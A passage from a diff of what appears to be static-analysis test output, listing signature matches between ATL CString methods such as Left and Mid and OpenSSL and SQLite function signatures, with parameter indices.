X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 0 | | atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 0 | @@ -236,12 +3314,330 @@ signatureMatches | atl.cpp:1071:9:1071:14 | Insert | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 0 | | atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_tag2str | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Jim_SignalId | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | PKCS12_init | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Symbol_Nth | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_tolower | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_toupper | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | pulldown_test_framework | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_errstr | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | tls1_alert_code | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | tls13_alert_code | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:1075:10:1075:19 | LoadString | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:1075:10:1075:19 | LoadString | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1079:14:1079:16 | Mid | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| 